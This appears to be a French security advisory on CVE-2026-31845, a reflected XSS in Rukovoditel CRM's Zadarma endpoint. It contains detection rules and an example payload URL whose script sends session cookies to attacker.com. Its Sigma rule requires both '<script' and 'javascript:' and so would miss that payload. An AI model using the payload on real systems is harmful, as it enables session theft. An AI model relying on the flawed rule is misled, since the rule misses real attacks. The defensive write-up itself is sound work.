CVE-2026-31845: XSS réfléchi dans Rukovoditel CRM
Les analystes DFIR observent une augmentation des vecteurs d’attaque ciblant les applications CRM. la CVE-2026-31845 illustre parfaitement le danger des failles de Cross-Site Scripting (XSS) mal gérées sur un point de terminaison de télémétrie. avec un score CVSS de 9.3, cette vulnérabilité permet à un attaquant non authentifié de prendre le contrôle d’une session utilisateur.
Analyse technique
Section intitulée « Analyse technique »La vulnérabilité réside dans l’absence totale de sanitisation du paramètre zd_echo. le code source suivant a été identifié comme le vecteur principal :
if (isset($_GET['zd_echo'])) exit($_GET['zd_echo']);Cette fonction retourne directement le contenu de zd_echo au navigateur, permettant l’injection de payloads JavaScript malveillants sans aucun filtrage.
- Reconnaissance: l’attaquant identifie le point de terminaison
/api/tel/zadarma.php. - Préparation de la payload: création d’une URL malveillante injectant un script de vol de session :
http://crm.target.com/api/tel/zadarma.php?zd_echo=<script>document.location='http://attacker.com/steal?c='+document.cookie</script> - Exécution: la victime clique sur le lien, et le script s’exécute dans le contexte de la session active du CRM.
- Exfiltration: le cookie de session est envoyé vers le serveur de l’attaquant.
Stratégie de détection
Section intitulée « Stratégie de détection »La détection doit se concentrer sur les logs d’accès du serveur web pour repérer les structures de payloads typiques dans le paramètre ciblé.
Détection Sigma
Section intitulée « Détection Sigma »title: Rukovoditel CRM Zadarma API XSS Attemptstatus: experimentaldescription: Detects exploitation attempts of CVE-2026-31845 against Rukovoditel CRMlogsource: product: web category: web_serverdetection: selection: uri|contains: '/api/tel/zadarma.php' get_parameter_name: 'zd_echo' get_parameter_value|contains|all: ['<script', 'javascript:'] condition: selectionRequête de Threat Hunting (Splunk)
Section intitulée « Requête de Threat Hunting (Splunk) »index=web_logs sourcetype=access_combined uri="/api/tel/zadarma.php" zd_echo="*"| eval payload=urldecode(zd_echo)| where match(payload, "(?i)<script") OR match(payload, "(?i)javascript:")Valeur forensic
Section intitulée « Valeur forensic »L’analyse forensic des logs permettra d’identifier le point d’entrée. il est crucial de surveiller les modifications de fichiers dans /api/tel/ ainsi que les accès suspects vers des domaines externes. la corrélation avec les logs d’authentification peut révéler des prises de contrôle de compte réussies immédiatement après une requête XSS détectée.